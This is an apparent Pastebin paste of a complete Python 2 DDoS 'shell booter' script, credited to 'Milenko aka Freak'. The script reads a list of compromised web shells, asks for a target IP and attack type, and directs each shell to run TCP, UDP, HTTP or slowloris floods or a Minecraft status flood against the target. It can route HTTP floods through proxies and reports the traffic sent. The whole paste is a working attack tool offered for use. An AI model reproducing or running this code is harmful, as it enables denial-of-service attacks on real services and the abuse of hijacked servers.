Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #Python shell booter.
- #Extremely powerful custom slowloris and HTTP flood that uses random user agents.
- #TCP and UDP flood with random data. TCP flood can crash some services as it is a pseudo fuzzer.
- #Minecraft DDoS method is unlike any other. It is a getStatus flood.
- #It creates a handshake to the server then asks for the servers status, including the icon image, the amount of players, title, etc.
- #It is a extremely powerful layer 7 attack.
- #All made by Milenko aka Freak
- #3.0
- import threading, time, os, re, urllib, socket
- HEADER = '\033[95m'
- OKBLUE = '\033[94m'
- OKGREEN = '\033[92m'
- WARNING = '\033[93m'
- FAIL = '\033[91m'
- ENDC = '\033[0m'
- BOLD = '\033[1m'
- UNDERLINE = '\033[4m'
- print OKGREEN + 'Loading Shells'
- try:
- f=open("shells.txt","r")
- hosts = f.read().split()
- f.close()
- except:
- print 'Unable to load shells. Exiting'
- exit()
- threads = 0
- packets = 0
- port = 0
- page = "/"
- mbs = float(0.00)
- count = 0
- print 'Shell booter (DDoSer) coded by ' + WARNING + ' Milenko aka Freak'
- print OKGREEN, len(hosts), 'Shells Loaded.\n'
- target = raw_input("IP: ")
- attacktype = raw_input("Attack type (" + FAIL + "TCP" + OKGREEN + "/" + HEADER + "UDP" + OKGREEN +"/" + OKBLUE + "HTTP" + OKGREEN + "/" + WARNING + "SLOWLORIS" + OKGREEN + "/MINECRAFT): ")
- proxiesenabled = "no"
- if attacktype=="TCP" or attacktype=="UDP" or attacktype=="MINECRAFT":
- if attacktype=="UDP":
- hostname = target
- target = socket.gethostbyname(hostname)
- print "Resolved " + hostname + " into " + target
- port = raw_input("Attack port: ")
- elif attacktype=="HTTP" or attacktype=="SLOWLORIS":
- port = "80"
- page = raw_input("Page: ")
- if attacktype=="HTTP":
- proxiesenabled = raw_input("Use glype proxies? (y/n): ")
- if proxiesenabled == "y" or proxiesenabled == "Y" or proxiesenabled == "yes" or proxiesenabled == "Yes":
- scheme = raw_input("Scheme (http or https): ")
- proxylist = open(raw_input("Proxy list location: "), "r").read().split()
- if attacktype=="SLOWLORIS":
- sockets = raw_input("Sockets: ")
- seconds = input("Time: ")
- threadss = int (input ("Threads: "))
- seconds=str(seconds)
- def fire(host, ip, attacktype, port, page="/"):
- global seconds
- global threads
- global mbs
- global packets
- host=host.strip()
- attacktype=attacktype.strip()
- page=page.strip()
- threads +=1
- try:
- if attacktype=="UDP":
- reply = urllib.urlopen(host+"?type=UDP&host="+ip+"&port="+port+"&time="+seconds).read()
- elif attacktype=="TCP":
- reply = urllib.urlopen(host+"?type=TCP&host="+ip+"&port="+port+"&time="+seconds).read()
- elif attacktype=="HTTP":
- reply = urllib.urlopen(host+"?type=HTTP&host="+ip+"&port="+port+"&page="+page+"&time="+seconds).read()
- elif attacktype=="SLOWLORIS":
- reply = urllib.urlopen(host+"?type=SLOWLORIS&host="+ip+"&port="+port+"&page="+page+"&sockets="+sockets+"&time="+seconds).read()
- elif attacktype=="MINECRAFT":
- reply = urllib.urlopen(host+"?type=minecraft&host="+ip+"&port="+port+"&time="+seconds).read()
- reply = re.sub("\D", "", reply)
- if len(str(reply))>=10:
- threads -= 1
- print FAIL + host + " did not give valid response!" + OKGREEN
- return
- if "<html>" in reply:
- threads -= 1
- print FAIL + host + " is not a valid shell!" + OKGREEN
- return
- try:
- packets += int(reply)
- if attacktype=="UDP":
- mb = (((int(reply)*1024)/1024)/1024)
- elif attacktype=="TCP":
- mb = (((int(reply)*1024)/1024)/1024)
- elif attacktype=="HTTP":
- mb = (((int(reply)*175)/1024)/1024)
- elif attacktype=="SLOWLORIS":
- mb = (((int(reply)*175)/1024)/1024)
- elif attacktype=="MINECRAFT":
- mb = (((int(reply)*30)/1024)/1024)
- try:
- mbs += mb
- except ValueError:
- print FAIL + "ValueError from " + host + " (dead shell)" + OKGREEN
- threads -= 1
- pass
- except:
- threads -= 1
- pass
- except Exception, e:
- print FAIL + host + " returned " + str(e) + OKGREEN
- threads -= 1
- pass
- threads -= 1
- if proxiesenabled == "y" or proxiesenabled == "Y" or proxiesenabled == "yes" or proxiesenabled == "Yes":
- newproxylist = []
- for i in xrange(0, len(proxylist)-1):
- newproxylist.append(proxylist[i].replace("https://www.whatismyip.com", urllib.quote(scheme + "://" + target + page, safe='')))
- while threads <= len(hosts)*threadss:
- if threads >= 600:
- time.sleep(0.2)
- if proxiesenabled == "y" or proxiesenabled == "Y" or proxiesenabled == "yes" or proxiesenabled == "Yes":
- for proxy in newproxylist:
- for host in hosts:
- if proxy.startswith("http:"):
- try:
- proxyip = proxy.split("//")[1].split("/")[0]
- proxypage = proxy.split("//")[1].strip(proxy.split("//")[1].split("/")[0])
- threading.Thread(target = fire, args=(host, proxyip, attacktype, port, urllib.quote(proxypage, safe=''),)).start()
- except IndexError:
- pass
- else:
- for host in hosts:
- threading.Thread(target = fire, args=(host, target, attacktype, port, page,)).start()
- while count < (int(seconds)) :
- print (int(seconds) - count), 'Seconds remaining'
- time.sleep(1)
- count += 1
- print 'Stopping...'
- time.sleep(5)
- while threads <= 1:
- print 'Waiting on',WARNING,threads,OKGREEN,'more to finish...'
- time.sleep(1)
- if threads <= 0:
- break
- print
- gb = mbs / 1024
- accuracy = 3 #accuracy of output
- mbs = float(str(mbs).split(".")[0] + "." + str(mbs).split(".")[1][0:accuracy])
- gb = float(str(gb).split(".")[0] + "." + str(gb).split(".")[1][0:accuracy])
- print str(packets) + " packetz sent, averaging at " + str(packets/int(seconds)) + " packetz/s"
- print str(mbs) + " MB sent " + str(mbs/float(seconds)) + " MB/s "
- print str(gb) + " GB sent " + str(gb/ float(seconds)) + " GB/s"
- print
- print "Press enter to exit."
- raw_input()
- os.popen("kill -9 " + str(os.getpid()))
Advertisement